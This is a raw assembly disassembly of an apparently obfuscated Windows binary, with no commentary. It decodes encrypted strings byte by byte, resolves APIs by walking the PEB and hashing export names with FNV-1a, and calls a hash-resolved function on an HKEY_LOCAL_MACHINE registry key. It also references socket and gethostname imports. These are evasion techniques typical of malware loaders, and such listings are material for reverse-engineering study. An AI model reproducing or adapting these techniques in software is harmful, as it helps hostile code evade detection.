jmp 0x140210573
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
add r10, r15
sub r9, r15
jmp 0x1402106b3
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xb50], cl
jmp 0x1402105e9
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x1402106b3
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movabs rcx, 0x92af2436dc62c3de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x12
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xb50], al
add r10, r15
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xb50], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x1402106a4
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xb50]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14020fb6d
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14020fb6a
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
jmp 0x14020fb5a
lea rdx, [rbp + 0x16000c8]
jmp 0x14021071c
lea rdx, [rbp + 0x1026be2]
jmp 0x14021071c
lea rdx, [rbp + 0xb50]
lea rcx, [rbp + 0xf8]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2520]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140210751
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2520]
call fcn.14018c840
nop
lea rcx, [rbp + 0x2520]
call fcn.140266950
nop
lea rcx, [rbp + 0x2520]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x520], Ordinal_60
mov byte [rbp + 0x521], Ordinal_143
mov byte [rbp + 0x522], 0x61
mov byte [rbp + 0x523], 0xf3
mov byte [rbp + 0x524], 0x5a
mov byte [rbp + 0x525], 0xf1
mov byte [rbp + 0x526], 0x62
mov byte [rbp + 0x527], 0xf7
mov byte [rbp + 0x528], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x529], 0xf5
mov byte [rbp + 0x52a], 0x5b
mov byte [rbp + 0x52b], 0xfb
mov byte [rbp + 0x52c], WSAStartup
mov byte [rbp + 0x52d], 0xf9
mov byte [rbp + 0x52e], 0x5b
mov byte [rbp + 0x52f], 0xff
mov byte [rbp + 0x530], r14b
mov byte [rbp + 0x531], 0xfd
mov byte [rbp + 0x532], 0x59
mov byte [rbp + 0x533], 0xe3
mov byte [rbp + 0x534], Ordinal_79
mov byte [rbp + 0x535], 0xe1
mov byte [rbp + 0x536], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x537], 0xe7
mov byte [rbp + 0x538], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x539], 0xe5
mov byte [rbp + 0x53a], 0x7f
mov byte [rbp + 0x53b], 0xeb
mov byte [rbp + 0x53c], 0x7a
mov byte [rbp + 0x53d], 0xe9
mov byte [rbp + 0x53e], Ordinal_79
mov byte [rbp + 0x53f], 0xef
mov byte [rbp + 0x540], 0x7a
mov byte [rbp + 0x541], 0xed
mov byte [rbp + 0x542], 0x88
mov byte [rbp + 0x543], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x544], 0x84
mov byte [rbp + 0x545], Ordinal_211
mov byte [rbp + 0x546], Ordinal_217
mov byte [rbp + 0x547], Ordinal_217
xor eax, eax
mov qword [rbp + 0x548], rax
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x14021142c
movzx r8d, byte [rbp + r9 + 0x520]
mov rdx, r8
cmp rdi, r9
ja 0x140211423
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14021090e
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x4e
jmp 0x140210952
je 0x1402113a2
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14021131d
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1402112f1
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1402112a6
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140211255
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x14021141a
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x140210978
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x140210b8d
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140211243
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140211220
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1402111fa
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1402111d4
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1402111b6
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x140210ea8
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140210e87
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140210e61
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140210e3e
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140210e2a
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140210e07
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140210de4
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140210dd0
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x140210dad
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x140210d99
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1402109c6
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x1402113f7
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1402113d4
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140210bc7
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x140210ba4
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140210b7e
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140210d78
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x140210d57
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140210d33
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140210d08
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1402109c6
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140210cf4
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140210cd3
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140210cb2
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140210c9e
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x140210c7b
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140210c57
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140210c34
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140210c11
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x140210bed
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1402109c6
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x1402109c6
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402109b9
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x140210952
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402108d6
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_26
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140211271
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x14021129b
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14021129e
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1402112c2
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x1402112ec
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x1402111e3
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x1402111af
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x140210dc9
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x140211094
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
mov byte [rbp + r9 + 0x520], bl
jmp 0x1402113cc
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140210f3e
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
jmp 0x140210f06
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
jmp 0x140210ecb
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x140211094
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x140211370
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140210fb3
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14021130c
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x1402112ec
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x140210c66
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14021129e
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021129b
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x140211271
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x140210f72
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
cmp rax, 0x80
je 0x140211188
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x140211012
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
cmp rdi, 0x1000
jae 0x140211162
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1402110ab
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 9
jb 0x140210d26
movabs rdx, 0xe770ca89d7ef62b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140211273
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140210f9e
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1402113bd
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140210fc5
movabs rdx, 0xb8b05b574343cd24
mov ecx, esi
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1402111ac
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140210ff1
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x14021130c
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140210ecd
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140211209
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14021102f
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_26
jmp 0x140210bfc
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14021105b
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14021129b
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140211078
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x140210c66
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140210f08
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402113bd
jne 0x1402110d0
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x1402113bd
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1402110fa
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x1402111af
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140211117
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x1402111e3
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140211141
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x1402112c2
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140210f40
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140210bfc
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x520]
sub bl, al
sub bl, 0x50
jmp 0x140210c73
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x520]
add bl, r8b
add bl, dl
jmp 0x14021133e
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x1402111af
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021130c
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402112ec
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021129e
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
jmp 0x140210bfc
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x36
add bl, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x520], cl
add r10, r15
sub r9, r15
jmp 0x1402113cc
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
add r8b, bl
sub r8b, sil
mov byte [rbp + r9 + 0x520], r8b
add rdi, r10
jmp 0x14021130c
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x1402113cc
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, cl
add bl, r8b
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x520], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x520], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x1402113bd
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x16
movzx eax, byte [rbp + r9 + 0x520]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1402108c3
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x1402108c0
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
jmp 0x1402108b0
lea r12, [rbp + 0x145e2c8]
jmp 0x140211433
lea r12, [rbp + 0x136aa06]
jmp 0x140211433
lea r12, [rbp + 0x520]
mov r10, qword [0x14044bbc0]
test r10, r10
jne 0x1402115a3
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1402114af
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1402114a2
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140211493
cmp edx, esi
jne 0x140211581
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140211581
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140211581
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140211503
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1402114f8
cmp edx, r14d
je 0x140211519
test r10d, r10d
jne 0x1402114e3
jmp 0x140211581
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140211596
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x140211596
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140211574
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x140211550
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x140211567
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140211593
cmp qword [rbx + 0x30], r13
jne 0x140211463
mov r10, r13
mov qword [0x14044bbc0], r10
mov r15d, 1
mov qword [rsp + 0x40], r13
lea rax, [0x14044b488]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x14044bb38]
mov r12d, 8
test rdx, rdx
jne 0x140211740
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x140211659
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14021164b
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14021163a
cmp r8d, esi
jne 0x140211731
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140211731
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140211731
mov edi, dword [r11 + 0x20]
dec ebx
lea r8, [rdi + rbx*4]
mov r9d, dword [r8 + r10]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x1402116ae
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x1402116a1
cmp r8d, r14d
je 0x1402116c3
test ebx, ebx
jne 0x14021168c
jmp 0x140211731
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x140211739
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x140211739
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x140211702
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1402116f4
jmp 0x140211717
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x14021170a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x140211609
mov qword [0x14044bb38], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x14044bb78]
test rbx, rbx
jne 0x1402118b8
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x1402117c3
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1402117b6
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1402117a7
cmp edx, esi
jne 0x14021189c
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14021189c
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14021189c
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14021181d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140211812
cmp edx, r14d
je 0x140211833
test r11d, r11d
jne 0x1402117fd
jmp 0x140211896
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x1402118b1
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x1402118b1
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140211875
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140211867
jmp 0x14021188a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x14021187d
mov rbx, qword [r15]
mov r12d, 8
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1402118ae
cmp qword [rbx + 0x30], r13
jne 0x140211777
mov rbx, r13
mov qword [0x14044bb78], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14044bb70]
test rdx, rdx
jne 0x140211a30
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140211941
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140211934
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140211925
cmp edx, esi
jne 0x140211a14
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140211a14
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140211a14
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
